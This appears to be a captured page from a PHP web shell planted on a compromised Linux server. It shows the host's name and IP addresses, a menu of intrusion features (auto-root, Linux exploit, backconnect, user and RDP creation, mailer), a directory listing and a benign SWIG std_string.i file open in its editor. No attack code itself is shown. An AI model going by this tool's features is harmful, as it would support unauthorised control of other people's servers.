Linux server2.hpierson.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Apache
: 162.0.216.123 | : 216.73.216.152
28 Domain
?7.4.33
yvffpqmy
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
swig /
2.0.10 /
mzscheme /
[ HOME SHELL ]
Name
Size
Permission
Action
mzrun.swg
14.31
KB
-rw-r--r--
mzscheme.swg
1.8
KB
-rw-r--r--
std_common.i
511
B
-rw-r--r--
std_deque.i
28
B
-rw-r--r--
std_map.i
63.12
KB
-rw-r--r--
std_pair.i
42.76
KB
-rw-r--r--
std_string.i
1.4
KB
-rw-r--r--
std_vector.i
17.39
KB
-rw-r--r--
stl.i
356
B
-rw-r--r--
typemaps.i
9.97
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : std_string.i
/* ----------------------------------------------------------------------------- * std_string.i * * SWIG typemaps for std::string types * ----------------------------------------------------------------------------- */ // ------------------------------------------------------------------------ // std::string is typemapped by value // This can prevent exporting methods which return a string // in order for the user to modify it. // However, I think I'll wait until someone asks for it... // ------------------------------------------------------------------------ %include <exception.i> %{ #include <string> %} namespace std { %naturalvar string; class string; /* Overloading check */ %typemap(typecheck) string = char *; %typemap(typecheck) const string & = char *; %typemap(in) string { if (SCHEME_STRINGP($input)) $1.assign(SCHEME_STR_VAL($input)); else SWIG_exception(SWIG_TypeError, "string expected"); } %typemap(in) const string & ($*1_ltype temp) { if (SCHEME_STRINGP($input)) { temp.assign(SCHEME_STR_VAL($input)); $1 = &temp; } else { SWIG_exception(SWIG_TypeError, "string expected"); } } %typemap(out) string { $result = scheme_make_string($1.c_str()); } %typemap(out) const string & { $result = scheme_make_string($1->c_str()); } }
Close